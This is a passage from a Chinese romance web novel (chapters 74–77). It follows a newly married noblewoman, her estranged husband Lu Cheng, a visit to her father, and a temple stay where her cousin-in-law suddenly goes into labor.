“那也好。”萧婧华道:“我听筱筱说,她三婶出身商贾,对读书人很是推崇,阿旸若有功名在身,她应当不会拒绝。” “是敬国公府的三姑娘所说?” 得到萧婧华的肯定,陆夫人大喜,“那感情好啊,让他再沉淀三年正好。” 府中下人虽然够多,但陆夫人还是习惯自己动手下厨。 让孟年给她烧火,陆夫人撩起袖子炒菜炒得热火朝天,怕油烟熏着萧婧华,便没让她进厨房。 萧婧华便在门口时不时和她搭话。 午膳过后,陆夫人又风风火火地去准备回门礼,萧婧华本想让她不必操劳,但见她一脸乐在其中,只好把话咽了回去。 学了一上午,陆旸终于从妖魔的爪下逃脱,兴奋地在院子里绕了好几圈。绕着绕着,甚至拉了孟年,让他陪他过几招。 陆埕斜了眼,没再管他。 孟年的身手还算不错,陆旸那三脚猫的功夫根本打不过他,他也有自知之明,一个劲地躲。 没多久,孟年琢磨过来了,这是溜着他玩呢。 他气笑了,抓小鸡似的抓住陆旸要他求饶。 二人的笑声回荡,萧婧华见今日阳光不错,让人搬来椅子在院里看这个月蒲草居的账本。 陆埕没去打扰,从书房里取了木头和刻刀,靠门坐在她不远处,垂首削着木屑。 陆旸撒完欢回来,站在一边看。 看着看着,他忽然开口,“哥,你教我吧。” 陆埕头也不抬,“你学这个作甚?” “送人啊。”陆旸理所当然道:“六姑娘上次送了我话本,我正愁不知送什么回礼。我看木簪就不错,她若知道是我亲手做的,肯定高兴。” 陆埕动作一顿,眯着眼看他,“话本?” 陆旸笑意僵住,“哈,什么话本?哥你听错了吧?” “不是我说,你怎么年纪轻轻就空耳?老了还了得?”陆旸倒打一耙,“我看你就是……” 在陆埕冰冷的目光下,陆旸的声音逐渐弱了下去,弱弱道:“你就说教不教嘛。” 陆埕无奈,放他一马,“教。” 陆旸欢呼一声,“我就知道,哥你最好了。” 他转身进了厨房,在柴火堆里找了根木头,端着小凳子坐到陆埕身边,目光亮晶晶地看着他。 陆埕:“……” 看完账本交给箬竹,萧婧华揉了揉微有些酸涩的眼睛。 盯着远处放空片刻,回过神时,低低的轻柔嗓音响在耳侧。 她回头,看见守在房门口的两人。 脚下躺着一小堆木屑,陆埕垂着头,正用刻刀在木头上雕刻。 陆旸挨着他坐,抓耳挠腮的,瞧着很是苦恼,嘴巴动了不停,一会儿问这是什么,一会儿又问那怎么做。 陆埕也没不耐,耐心解释,眉宇间神色极为认真。 萧婧华看着,渐微出神。 “郡主?”箬竹唤她,“起风了,咱们回屋吧。” 这一声将萧婧华叫醒,也惊动了门前二人。 在他们看过来之前,萧婧华急速起身,朝房门走去。 陆旸和她打招呼,“姐。”眼珠子一转,他讨好地笑,“姐,你能不能帮我问问云三姑娘,六姑娘最喜欢什么花?” 他扬了扬手里的木头,双眼完成月牙,“我想刻她喜欢的花样。” 也不是什么大事,萧婧华爽快点头,“行,下次给你问。” 陆旸顿时乐开了花,“姐,你可真是我亲姐啊,我就知道你对我最好了!” 带着寒意的视线从旁射来,陆旸不明所以,悄声道:“哥你瞪我作甚?” 陆埕:“……” 他闭眼,忍声,“你还学不学了?” 陆旸:“学学学,当然要学!” 萧婧华没管这两人的眉眼官司,提步跨过门槛。 “咦。”箬兰忽然道:“陆大人手里这木簪好眼熟,我记得,郡主好像也有一根。” 萧婧华云淡风轻道:“什么木簪?不是早让你扔了?” 箬兰恍然,“是哦,早就扔了。” 门被关上了。陆旸拍开膝上木屑,“哥,咱们继……哥!” 他抓住陆埕的手,急声道:“你怎么这么不小心,没事吧?” 陆埕怔怔垂首。 食指指腹被割了好大个口子,鲜血汩汩往外冒。 “啪嗒——” 血珠连串滴在木屑上,震耳欲聋。 “……没事。” 第75章 晚上用膳时,陆夫人瞥了眼陆埕手上的伤,完全没放在心上,只顾着招呼萧婧华用膳。 陆夫人的手艺很是不错,又有人劝着,萧婧华硬是多吃了一碗。 实在吃不下了,她放下碗。 陆夫人道:“正好这几日阿埕有空,婧华,让他陪你去寺里给王妃上柱香。” 萧婧华顿了顿,思及许久未曾去过承运寺,她点了头,“好。” 散了席,她带着箬兰箬竹在院子里遛弯。 予安今日罕见地和觅真在房顶上晒月亮,两道黑影投下,萧婧华踩着影子,走了一圈又一圈。 箬兰抱怨,“陆府还是太小了,郡主遛弯都走不开。” 萧婧华也不习惯。 往常来时不觉,直到住进来才发现,陆府对她来说的确太小了。 萧婧华安慰,“先忍忍,再过些时日,咱们就住回王府去。” 她在京城房产不少,或者住别院也行。 总归是圣旨赐婚,她若是新婚两日便与丈夫分房而居,那不是公然打皇伯父的脸嘛。怎么也得等阿史那苍离京再说。 或者……将这附近的房子买下来,到时一打通,她带着人搬去隔壁,从外看还是一家,那也挺好。 “咔嚓——” 枯枝被踩踏的声音在夜里分外清晰。 主仆三人齐齐回头。 陆埕的身影隐在黑暗中,银辉落了半身,照过眉眼时,似月下清湖,明净粼粼。 “我回去取衣物。” 萧婧华淡淡颔首,让开了路。 擦身时,陆埕微顿,轻声道:“下次吃不下不必勉强,直接与娘说便是,她不会怪你。若你不嫌我多事,我说也可。” 萧婧华偏头。 男子优越侧脸在月色下若隐若现,他看着她,认真开口,“让箬竹箬兰替你揉一揉,会好受很多。” 萧婧华:“哦。” 气氛就此沉寂。 陆埕抿抿唇,从屋里取出衣物,对萧婧华道:“夜里外边凉,早些回屋吧。” 萧婧华还是不理他。 陆埕:“……我先回去了。” 他走向书房,步伐气馁又沉重。 有凉风吹来,萧婧华打了个哆嗦,“回屋吧。” 洗漱完,她拿出陆夫人给她的红包。 打开一看,里边足有一千两银票,也不知她攒了多久。 叹了声气,萧婧华将银票妥帖放好,把自己摔进柔软大床里。 睡不着。 她痛苦闭眼。 没办法,萧婧华还是把安神香找了出来,闻着熟悉的香味,她又挣扎了许久,才慢慢睡去。 翌日,萧婧华和陆埕进宫谢恩,见完崇宁帝,与乐宁端和待了一日才回府。 念着第二日要回门,她午间并未小憩,又提前把安神香寻了出来,早早睡去。 陆夫人将回门礼准备得妥妥帖帖,萧婧华在她的叮嘱下和陆埕登上马车。 和往常一样,她并不搭理他,冷漠地别开脸去。 陆埕性子冷,平日并不怎么爱说话,加之知道自己不招人待见,并未出声讨嫌。 他二人不开口,箬竹箬兰更不会,一时之间,车厢内四人齐齐沉默。 予安“吁”了一声,马车缓缓停下,觅真对里头喊:“郡主,王府到了。” 萧婧华率先出了车厢。 一抬头,便见恭亲王立在石阶上,目光殷切地盯着巷口方向。 分明才三日不见,萧婧华却想他得紧,提着裙子快步迎上去。 “父王!” “诶。” 恭亲王应了声,摸着女儿发顶,柔声道:“怎么样,没受欺负吧?” 大抵所有疼爱女儿的父亲都是一般模样,到了别人家去,第一句问的便是可有受欺负。 萧婧华笑着摇头,“没有。陆姨从小对我就好,阿旸也差不多和我一起长大,谁能欺负得了我?” 恭亲王瞥了眼走近的陆埕。 陆埕拱手作揖,“王……父王。” 恭亲王睨他,面色淡淡,但好歹应了,“嗯。” 转头看向女儿时神色柔和极了,温声道:“外头冷,快随父王进去。” 萧婧华笑着点头,“好。” 二人完全将陆埕甩在后头。 拎着东西的孟年同情地看他一眼,却见自家大人面不改色,从容跟在父女二人身后。 孟年悄悄在心里给他束了个大拇指。 几日不见,父女俩黏糊得紧,凑在一起时话就没停过。 用完午膳,趁着萧婧华回了春栖院歇息,恭亲王将陆埕叫去了书房。 让人摆出棋盘,他道:“来,陪本王下一局。” 陆埕在他对面落座。 于棋艺上,翁婿俩都是好手,棋盘上厮杀得你死我活,面上却依旧沉稳平淡。 恭亲王落下一枚棋子,仿若漫不经心道:“接亲时,你对本王说,不会再辜负婧华。” 捻着棋子的手在空中滞了片刻,旋即坚定落下,陆埕道:“是。” “那好。”恭亲王笑,“你答应本王一件事。” 他的话落下,陆埕瞳孔紧缩,面色空白了一瞬,再度开口时嗓音微哑,“我答应王爷。” 恭亲王一笑,棋落。 胜负已分。 …… 回家时萧婧华有多快乐,离开时就有多沮丧。 她站在门前,依依不舍地抱住恭亲王的手臂。 “回吧,离得这么近,又不是隔了百八十里,你婆婆是个性子开明的,往后多回来看看父王。” 恭亲王拍着女儿的手。 “哦。” 萧婧华撅着嘴,一步三回头地上了马车,“父王,那我走了啊。” 恭亲王摆手,“去吧。”又对陆埕道:“照顾好她。” 陆埕行礼,“臣知晓。” 他进了马车,孟年接替予安的位置,一甩马鞭。 后者便与觅真一道跃上了马车顶。 马车缓缓行驶,萧婧华开了车窗,对外头的恭亲王招手,“父王,回去吧。” 恭亲王应道:“好。” 嘴里这样说,人却并未回府,直到看不见人影,萧婧华才钻进马车里。 冷风灌进来,箬兰忙给她塞了个手炉。 暖意渐起,萧婧华靠着软垫出神。 回了陆府,陆夫人他们还未从铺子里回来,萧婧华沉默地和陆埕走了一段,在即将踏入房门前,她没忍住好奇,“父王和你说了什么?” 这一脸的失魂落魄,她想忽略都难。 陆埕下意识摇头,“没什么。” 萧婧华一下失了兴趣,淡着神色便往屋里走。 “……是关于你的。” 脚步一顿,身后人又道:“我……暂时……难以启齿。” 什么事,居然用难以启齿来形容? 萧婧华更好奇了。 还未完全转过身,陆埕已避开她的目光,神色很不自在。 切,不说算了,她也不是那么想听。 萧婧华翻了个白眼,继续往里。 走了两步,她道:“明日我要去承运寺。” “好”字还未说完,面前的门“嘭”地关上。 陆埕:“……” …… 因着要出门,萧婧华起得比平日里要早。 推开房门,她一眼便见在院子里举石锁的陆埕。 他不爱打赤膊,衣袖紧贴着手臂,随着动作隐隐凸显出线条。 瞧了两眼,陆埕似乎注意到她的目光,朝这边看来。 萧婧华面无表情地移开视线。 “醒了?” 陆埕放下石锁,擦去额上汗水,在离她几步远的地方停下,匀了口气道:“阿旸在温书,娘和殷姑去铺子了,灶上温了早膳,吃完再去吧。” 萧婧华无视他,转头道:“箬兰,去给我把早饭取来,我在屋里吃。” 箬兰匆匆从屋里跑来,“诶。” 注视着萧婧华的背影,陆埕无措地抿着唇。 这几日她几乎将他视为空气,他实在不知该如何是好。 陆埕带着燥意翻了翻领口,露出淌着汗的白皙锁骨。吐出一口浊气,在原地静立片刻。 待所有负面情绪全部消散,他这才转身去清洗。 早起没什么胃口,萧婧华草草吃了两口便让人撤了。 喝了盏茶,她让人收拾东西动身。 这次去承运寺,她准备住几日。 箬竹早就将东西收拾妥帖,待下人装车后,萧婧华带着箬竹几人出了陆府。 见到候在门外的两人,她意外,“你也要去?” 陆埕点头,“我陪你。” 萧婧华冷漠拒绝,颇有些阴阳怪气,“陆大人日理万机,竟能抽出身去承运寺?” 陆埕沉默,“此次成婚,礼部放了我九日的假。” 今日不过是第五日,陪她在承运寺住几日还是行得通的。 “随你。” 撂下这两个字,萧婧华搭着觅真的手上了马车。 车门在陆埕眼前阖上又打开。 萧婧华的声音从里头传了出来,“去可以,你不准坐我的马车。” 陆埕唇角泄出一抹笑,“好。” 孟年一听这话,立马牵出两匹马。 萧婧华:“……” 她瞪了孟年一眼,眼不见为净地关上车窗。 马车摇摇晃晃,萧婧华又开始打瞌睡。她歪在软枕上,强撑着睁眼。失败后立马理所当然地闭眼睡去。 醒来时精神抖擞,见快到灵晞山,她开了窗透气。 箬兰一脸苦恼,小声和箬竹说悄悄话,“郡主晚间失眠的症状好似越来越严重了。” 箬竹点头,声若蚊蝇,“那安神香也渐渐不管用了。回去后还是得劝郡主让太医瞧瞧。” 箬兰认同点头。 萧婧华并未听见两人的谈话,趴在窗上吹风。 哒哒的马蹄声响在耳侧,她抬头,望着挡在她面前的陆埕,语气不太好,“你做什么?” 陆埕转眸,浅黑色瞳孔清透明亮,如浸在水中的黑曜石。 “风大,我替你挡一挡。既能醒神,又不会头疼。” 萧婧华掐着指腹,面色冷淡,“那就多谢了。” 她不想看他,视线落在他身后,却是蓦地一怔。 察觉到她片刻的停顿,陆埕转头往后看,“怎么了?” 灵晞山下农庄林立,在众多弯腰劳作的农人里,有几道身影格外引人注目。 身着湖蓝色披风的女子立在田间,手里提着木篮子,正仰头与对面的人说话。 精致面容上是萧婧华极为熟悉的温柔笑意。 在她脚边,小童拉扯着娘亲的裙摆,手里不知举着什么东西,兴奋地叫喊着。 二人对面之人穿着僧袍,一袭白衣与这仍带着荒凉的景色格格不入,举手投足间尽是优雅洒脱。 陆埕迟疑,“那……是江家大姑娘?” 萧婧华回神,冷嗤一声,“眼神挺好啊。” 没等陆埕答复,她“啪”地关了窗,隔绝了他的视线。 靠着软枕,萧婧华皱着眉思索。 差点忘了,江姐姐的庄子就在灵晞山下,在此处看见她并非罕见之事。 可她这阵子也不知在忙些什么,连她成亲也只是送来了礼便匆匆离开,连喜酒也没喝一杯。 还有……倘若她刚才没看错的话,那穿僧袍的人……是念慈? 他们怎么会在一处?萧婧华百思不得其解。 纳闷中,马车驶上灵晞山山道,停在了承运寺山门前。 轻车熟路在客舍安顿好,用完了午膳,萧婧华带着陆埕跪在恭亲王妃的往生牌前。 她上了柱香,望着半空中徐徐上升的白烟,在心中默道。 母妃,若您在天有灵,请保佑父王平安无事。倘若您还在怪罪他,那便再给我一些预警吧,让我护他一世长存。 萧婧华闭眼,深深跪拜。 望着她的身影,陆埕叩首,眉目虔诚。 求您护她,愿望成真。 …… 从殿内出来,两人皆沉默。 长廊上迎面走来一名年轻僧人,萧婧华冲他招手,“明方!” 明方抬头,见是她,当即露了笑,快步走来,欣喜道:“郡主,许久不见您了。” 余光触及一旁的陆埕,明方又笑,“陆大人也来了。祝您二人新婚喜乐,举案齐眉,白头偕老。” 陆埕温和颔首,“多谢。” 萧婧华自动忽略明方后面那句话,问:“念慈大师可在寺里?” 明方摇头,“山下农户最近在春种,师叔见他们忙不过来,去帮忙了。” “春种?”萧婧华惊讶。 陆埕看了眼天,“这个时节,的确该春种。他们种的都是什么?” 明方随念慈去过几次山下,很是熟悉,“虹豆、菽之类的。” 陆埕道:“还可种莱菔、胡瓜等,县里……” 眼看他说个没完,萧婧华转身就走。 陆埕快速说完最后两句,急急追了上去。 两人走在长廊上,他迟疑道:“你……生气了?” “我生什么气?”萧婧华无语,“陆大人劝课农桑,为民为国,我再怎么不懂事,也犯不上为这事生气。” 她纯粹就是不爱听。 少女侧脸莹润,神色疏淡,明艳的五官看起来极富攻击性,令人不觉生怯。 陆埕抿唇,“木簪……” 下一瞬,萧婧华蓦地绽开一抹笑,眸若点漆,提着裙子从他身边飞速掠过,奔到来人身前。 第76章 “表嫂!” 萧婧华小心翼翼搀扶住康郡王妃,垂眸望着她挺着的大肚子,担忧又害怕。 “你这肚子都这么大了,怎么还来承运寺?” 康郡王妃惊喜握住萧婧华的手,“婧华也在?” 她笑,“太医让我多走动走动,我想着正好来承运寺为孩子祈福。” 抚摸着肚子,康郡王妃眉眼温柔,“不盼它出人头地,只盼生来顺遂,一生无忧。” 萧婧华打趣,“这孩子生来就在金窝银窝,想不顺遂都难。” “对了。”她四处望着,“表哥怎么不在?” 康郡王妃摇头,“他官署有事,今日是我自己来的。” 萧婧华没多问,摸了摸她肚子。柔软掌心陡然触碰到一个小包,她新奇又震惊地瞪大了眼,不可置信道:“它、它动了……” 康郡王妃笑意温柔,“它喜欢你。” 说话间,陆埕追了上来,俯首作揖,恭声道:“郡王妃。”目光在两人间一扫,康郡王妃揶揄,“原来你们小两口是一起来的。” 看着陆埕,她好笑道:“这都成婚了,还喊郡王妃呢?不该随婧华唤我一声表嫂?” 陆埕下意识看向萧婧华。 她嘴角噙着一抹浅笑,垂眸望着康郡王妃肚子,仿佛未曾听到二人的谈话。 顿了片刻,陆埕低声,“表嫂。” “诶,这就对了。” 康郡王妃笑道:“你们小两口准备住几日?” 萧婧华并未回复这个问题,反而问道:“表嫂准备待几日?” “我这身子,婆母也不放心我在外边多待。明日便回了。” “那好,我明日送表嫂。”萧婧华笑盈盈道:“我还得回去抄经,便不与表嫂寒暄了。” 康郡王妃:“去吧。” 萧婧华率先提步,陆埕对康郡王妃略一点头,跟上了她的步子。 等他们的身影消失在长廊,康郡王妃轻笑着摇头,“这两人。” 可真是冤家。 …… 依旧是那个院子。 梨树上依稀冒出了绿芽,有鸟雀停留在枝头,勾着脖子去啄嫩绿。 屋里有动静传来,雀儿被惊动,扇着翅膀飞走。 萧婧华看着飞走的鸟雀,对身后的箬竹道:“放那儿吧。” 屋里的香闻多了闷得慌,想了想,还是上外边来。呼吸间尽是清新的空气,不比熏香提神醒脑? 箬竹颔首,与箬兰一道收拾石桌。 石桌冷沁沁的,又冰又凉,箬兰在石凳和石桌上铺了层厚毯,放好笔墨纸砚,这才请萧婧华过来。 刚落座,院墙上有个毛茸茸的东西飞快往下一窜,萧婧华一言难尽地问箬竹箬兰,“孟年做什么呢?” 箬兰咬牙切齿,“监视,一定是监视。这个小人!” 箬竹笑笑没说话。 急促脚步声在空旷院中响起,陆埕抱着宣纸,身后跟着孟年,死皮赖脸在萧婧华对面坐下,“我和你一起抄。” 萧婧华嫌弃,“你屋里没桌子?” 有。 陆埕张了张嘴,话音还未吐露,孟年笑嘻嘻地接过话,“当然有了,可这不是替王妃抄经么?对着王妃的女儿抄,显得更心诚些。” 萧婧华呵一声,“那不如对着我母妃的牌位抄,定无人指责你心不诚。” 孟年:“……” 陆埕默不作声,提笔抄经。 他赖着不走,萧婧华也没办法,随他去了。 二人各抄各的经,箬兰目不转睛地盯着孟年,直把他盯得背后发毛,慢慢挪到箬兰身旁,小声道:“这么看着我做甚?” 箬兰瞪他一眼,揪着他的衣袖把人揪走了。 孟年不敢出太大的声儿,哎哟哎哟地叫,“小姑奶奶,我哪儿惹到你了?哎哎,别拧别拧。” 屋檐上的觅真好奇地把视线移过去,趴在瓦片上津津有味地看着箬兰拧着孟年的耳朵教训。 箬竹失笑摇头,不管这两个幼稚鬼,候在一旁专心为萧婧华研墨。 经书一抄就抄到了天黑,小沙弥送来饭菜,被箬兰折磨一下午的孟年见状,索性把斋饭拿过来和萧婧华凑一桌。 他人活泼,性子又好,逗得姑娘们笑得花枝乱颤,就连予安也罕见地扯了个浅笑。 萧婧华听着,时不时给面子地笑一声。一转眼,陆埕给她舀了碗汤。 “白日里吹了冷风,喝点热的驱驱寒,待会儿让箬竹她们多打些热水,你好好泡泡。” 萧婧华充耳不闻,自己给自己盛了汤,双手捧着碗小口小口地喝着。 陆埕挫败地暗叹一声,将被她冷落的汤端过来,一口喝掉。 吃完饭,萧婧华先回了屋。 没多久,箬竹端了盆热水进来,笑着对她道:“陆大人怕您受寒,特地叮嘱我用热水给您泡脚。” 萧婧华没好气,“我是你主子还是他是你主子?他让你做什么你就做什么?” “当然不是。” 箬竹走过来,放下木桶,替萧婧华褪去鞋袜,笑道:“奴婢只做有利于郡主的事。陆大人的话若有道理,奴婢自然会听。” 萧婧华撇嘴。 雪白玉足将将触及水面,眨眼间便红了一片,她“嘶”一声,小声抽着气将双足浸入热水。 泡了一会儿,感觉水温渐凉,箬竹便不让萧婧华泡了。 箬兰为萧婧华褪衣,她端着木盆走到外边。 刚走到门口,予安从树上跃下,一把接过她手里的木盆,转身往外走。箬竹愣了片刻,笑着对她的背影道:“谢谢。” 予安微顿,一手把木盆夹在腋下,另一只手抽出对她摇了摇,身影逐渐消失。 箬竹笑了笑,返身回屋,伺候萧婧华睡下。 刚泡完热水,萧婧华浑身都是暖的。她掀开被子一角,闭着眼睛酝酿睡意。 脑海极为清醒,丝毫没有想睡的欲望。 硬生生数了几千只羊,萧婧华终于把自己哄睡了。 翌日清晨,她刚起身,隔壁主仆又死皮赖脸到她院里。 把饭菜一摆,孟年乐呵呵道:“今日我起得早,去拿早膳时顺道将郡主的也给取了,咱们正好一起吃。” 若是陆埕开的口,萧婧华铁定不给他这个面子,可孟年也没做错什么,她只好沉着脸点了下头。 吃到一半,门被人敲响。 “大清早的,谁啊。”箬兰嘟囔一声,得到萧婧华同意后喊道:“进来吧。” 有人从院门外进来。 萧婧华一怔,赶忙把口中的粥咽下,接过箬竹递来的帕子擦了擦嘴,喜道:“大师怎么来了?” 陆埕极快起身,对来人道:“念慈大师。” 来人长眉如墨,眼尾轻轻上翘,微泛霞色,似春水上漂浮的一点桃花。鼻梁高挺,唇角微扬,素色僧袍毫无点缀,玉骨似的腕上缠着一串佛珠,成为全身上下除白之外唯一一抹异色。 念慈含笑,“听说你们来了,便来见见。” 他从袖中取出一物,交到萧婧华手上,“新婚贺礼。” 萧婧华打开木匣,低头看去。 里头躺着一只平安锁吊坠,那锁由纯金打造,花纹细密繁复,由一朵朵牡丹花组成,花心镶着颗红宝石,瞧着就极为富贵。 将平安锁拿在手心,感受着重量,萧婧华揶揄,“你该不会是把存了小半辈子的银钱都用来给我买这锁了吧?” “竟被你发现了。”念慈耸肩,“那你和陆大人得同心和好,如鼓琴瑟才能对得起我这么重的心意。” 陆埕诚心相谢,“多谢大师。” 念慈对他温和一笑。 将平安锁放入木匣,萧婧华让箬竹妥当收好,方转头,便听念慈道:“山下活儿多着呢,我就不多留了。” 下一瞬,念慈已快步走出院子,飞速消失在众人视线里。 “走这么快作甚。” 萧婧华喃声。 她还有话没问呢。 早膳本就吃得差不多了,让箬兰撤下,萧婧华领着觅真往外走。 没走几步,感受到身后跟来一人,她默了默,“我去送表嫂,你跟着作甚?” 陆埕:“我和你一起。” 萧婧华无语,快步向前。 到了康郡王妃落脚的院子,她正在用早膳,见了两人,忙道:“这么早,你们可用膳了?来人,添两副碗筷。” “我们吃过来的,表嫂不必麻烦了。” 萧婧华拦住往外走的侍女。 康郡王妃两口吃完,让人把饭菜撤下,随后对二人道:“劳烦你们了。” “送一道罢了,这有何劳烦的?”萧婧华笑,“再者,表嫂还怀着表哥的孩子呢,表哥不在,我总得尽份心。” 康郡王妃摇头轻笑,“那好,等孩子出生了,必须得让你表哥给你送份厚礼。” “表嫂说话可要算话。” “一定。” 说话间,仆从们已将东西收拾妥当。 康郡王妃挺着肚子起身。 她行动不便,萧婧华连忙扶住她往外走。 陆埕跟在两人身后,时刻注意着她们的安危。 微光拂照大地,温度不算暖,太阳半遮半掩地挂在天际,云层透出些许金光。 灵晞山已有几分早春模样,岚烟缥缈间似有烟霞涌动,小径两侧绿荫沾染露珠,清秀可爱。 萧婧华对康郡王妃道:“表嫂慢些。” “好……” 话音出了半截,陡然消失。 “怎么了?” 萧婧华侧眸。 头转到一半,手上骤然一疼。 康郡王妃紧紧抓着她,脸色“唰”一下惨白,嘴唇失了血色,额上沁出冷汗。 她疼得呻。吟出声,艰难道:“婧、婧华……我可能要……要生了。” “什么?” 萧婧华大脑一片空白。 后头的陆埕见两人一动不动,快步上前,“怎么了?” 见到康郡王妃疼到说不出话的模样,他脸色大变,“快,扶郡王妃回去!” 仆从们被这一声吼回了神,慌得跟热锅上的蚂蚁似的。 康郡王妃的婢女手足无措地去扶她,“郡王妃,您怎么样?” 康郡王妃疼得失了力,一半身子压在萧婧华身上,“疼、好疼……” 萧婧华无措地支撑起她的重量,目光下意识落在陆埕身上。 陆埕当即道:“来两个婆子扶郡王妃回房,你,去寻僧人烧热水,越多越好。你,快去给郡王府和长公主府报信。”吩咐完,他对康郡王妃的婢女道:“山下农户多,去找个会接生的来。” “算了。”瞧那婢女一脸慌乱,陆埕摇头,“你去郡主客舍寻一个叫孟年的人,让他去。” 仆从们好似找到了主心骨,纷纷应声,撒腿就跑。 两个力气大的婆子抱着康郡王妃原路返回。 她攥着萧婧华的衣袖,无法,萧婧华也只能跟着她一起。 汗水在顷刻间爬满康郡王妃的脸,她疼得脸色发白,水眸望着萧婧华,哀求道:“婧华,你救救它,救救这个孩子。” “这是我和他的孩子,求求你,一定要保住它。” 萧婧华从未见过这般阵仗,着实六神无主,苍白安慰,“表嫂别怕,你和孩子都会没事的,别怕。陆埕已经让人去找表哥了,他很快就来,你别怕……” 婆子匆匆把康郡王妃抱回屋,跨过门槛,萧婧华本不欲进去,谁知康郡王妃竟抓着她不放。 “婧华,你救救它……” 萧婧华急得都快哭了。 她既不是大夫也不是接生婆,怎么救啊。 可这种时候也不能逆着她。 若是表嫂有个什么好歹,她怎么给表哥和姑姑交代。 觅真抿唇,望着萧婧华的袖子,思索着一剑劈开它的可能性。 “别怕。” 沉稳男声落在耳畔,萧婧华惶然抬头。 陆埕深吸气,虚虚握住她的手,随后用力包在自己掌心,“我在。” 第77章 “啊!疼,好疼!” 康郡王妃揪着被面,疼得汗如雨下。 “别让她大声喊叫,会流失体力。深呼吸,放轻松,用热水给她擦拭身子,你和她说说话,让她保持清醒。” 听着外头冷静沉稳的嗓音,萧婧华动了动发麻的脚,握住康郡王妃的手,“表嫂,能听见我说话吗?” 康郡王妃手劲大,抓住她的刹那,萧婧华疼得变了脸色。 觅真见状拉开萧婧华的手,代替她握住康郡王妃。 顾不上疼痛,萧婧华不停和她说话,“表嫂,你再加把劲,孩子很快就能出来了。表哥现在肯定在路上了,说不准都赶不上孩子出生。他一个当爹的这种大场面竟然不在,你定要好好教训教训他。” 康郡王妃艰难露出一抹苍白的笑,“好……啊!” “用力。”萧婧华焦急,“再加把劲,这孩子这么乖巧,肯定不舍得折腾娘亲的。” 疼痛席卷全身,康郡王妃已经听不见她的声音了,口中无意识发出痛呼。 听着里头传出的声音,陆埕沉着脸立在院中,转头问赶来的箬竹,“孟年去了多久?”箬竹勉强应道:“快有四刻了。” 箬兰急得快出了满脸的汗,“他骑马去的,也该回来了吧。” 话音甫落,马鸣声骤然响起,惊得鸟雀振翅而飞,四散逃去。 孟年翻身下马,直接一把将马上的婶子抱下来,催着她进屋,“婶子快些,里头正生孩子呢。” 这一路颠簸,婶子面色明显不好,没好气应道:“知道了,催什么催。赶紧给我打盆热水来。” 箬竹立马让人盛上热水。 婶子净了手,脱去沾了灰的外裳,这才进了里间。 她进去没多久,康郡王妃的叫声越发大了,侍女们进进出出,盆里的干净的水变为血水,看得外头的人胆战心惊。 尤其是孟年,一张脸都皱了起来。 他默默靠近陆埕,直叹道:“这生孩子,还真是在鬼门关走一趟啊。” 一抬头,便见陆埕绷着脸,满脸严肃地盯着紧闭的房门,撞了下他肩,孟年不解,“怎么了?” 陆埕涣散的眸光重聚,对他摇头。 孟年更疑惑了。 还想问,里头陡然爆发出一阵婴儿的啼哭声,他紧绷的弦一下便松了,脸上露了笑,喜道:“这婶子还真有两下子。” 这么快就生了。 箬竹箬兰快步往屋里走。 还未走近,门便开了。 萧婧华从里头走出来,一脸呆怔,还未回神。 抱剑站在树下的予安见了她的身影,绷直的腰身微松。足尖一勾,将脚下的剑踢了过去。 觅真伸手接剑,对她点了下头。 箬兰朝萧婧华小跑过去,“郡主?” 她仿佛没听见,机械往外走。 陆埕大步迎上,垂首低声道:“没事吧?” 前路被堵,萧婧华愣愣抬头,视线刚落在他脸上,身子蓦地一软。 陆埕眼疾手快把她揽进怀里,温声安慰,“已经没事了,别怕。” 双脚到现在仍在发虚,萧婧华双手都在抖。 她从来不知道,女人生孩子竟然这么可怕。 眼前一晃一晃的,全是血和康郡王妃痛苦的脸。 方才极力压下的恐惧此刻全部漫了上来,她吓得脸发白,抖动的嘴唇失了血色。 可怕,太可怕了。 怎么会有这么可怕的事。 男人的轻言细语在耳畔环绕,萧婧华慢慢缓过神来。意识到自己在陆埕怀里,她眸子微微睁大,雪白玉手放在他胸前,微一用力,毫不犹豫把他推开。 呼吸一口清新空气,萧婧华道:“我先回去了。箬兰,你去和主持说一声,今日我就不去了。” 箬兰:“好。” 迈着虚软的双腿,萧婧华慢慢往回走。 陆埕交代孟年,“婶子的酬金记得结清,你先留下照看,若是康郡王妃无恙,再把婶子平安送回家。” 孟年:“嗐,我做事你放心。” 陆埕顿了须臾,微点头,越过坠在后头的予安觅真追上萧婧华,与她并肩而行。 “还好吗?” 萧婧华不想说话。 陆埕并未打扰,陪她走回客舍。看着她进屋后对箬竹道:“她今日应当被吓住了,我去让小师傅煮碗安神汤,你待会儿看着她喝下。” 箬竹点头,“好。” 驻足片刻,陆埕转身离开。 …… 把自己摔进床里,萧婧华呆呆地望着床帐。 眼里仿佛染上血色,脑子里乱七八糟想了许多。 想着想着,就这么睡了过去。 一觉醒来已是下午,萧婧华抱着被子坐在床上出神。 她已经预感到晚间入睡有多困难了。 萧婧华痛苦地无声哀嚎。 想睡个好觉,怎么就这么难呢? 在床上赖了会儿,她穿衣起身,推门出去。 院内寂静无声,陆埕独坐石桌,垂首抄经。 世界萧索孤寂,他一身素衣似竹,青翠如翡,清新蓬勃。眉眼淡然,浅黑色瞳孔映着佛经,清澈中透着虔诚。 君子如松,朗植庭中。 被推门声惊动,他抬首看来,眸底似有浅浅涟漪荡漾。 “醒了?” 萧婧华语气不太好,“你怎么在这儿?” “抄经。” 陆埕扬了扬手中宣纸,对她轻笑,“抄了不少,要查阅么?” 萧婧华沉着脸走到石桌前坐下,恶狠狠地握笔。 笑笑笑,跟谁不会抄似的。 陆埕抬眼看她,眼里晕开清浅的笑,垂眸认真抄写。 晚上陆埕又是在这边用的膳,萧婧华已经习惯了,不搭理他就是。 夹了筷子酿豆腐,突然听见箬兰质问出声,“陆大人怎么对妇人生产之事这般熟络。” 动作一顿,抬眼看去,就见箬兰一双眼睛瞪着陆埕,满脸怀疑。 她早就有这个疑问了,陆埕身为男子,又未娶妻,怎的对妇人生产一事如此熟悉,不慌不忙不说,甚至反过来指点她们家郡主。 实在是可疑。 想到某个可能,箬兰咬牙切齿,眼睛几乎要喷火。 就算郡主对他不假辞色,他也不能做对不起郡主的事! 陆埕放下木筷,平声道:“宁城水患,有位临近生产的妇人被救起时动了胎气,我当时在,搭了把手。” “就这样?” 陆埕点头,“就这样。” “哦。”箬兰呐呐应声。 萧婧华默默将视线移向她。 箬兰心虚避开。 箬竹好笑看她一眼,问道:“宁城水患,陆大人还要帮忙接生吗?” 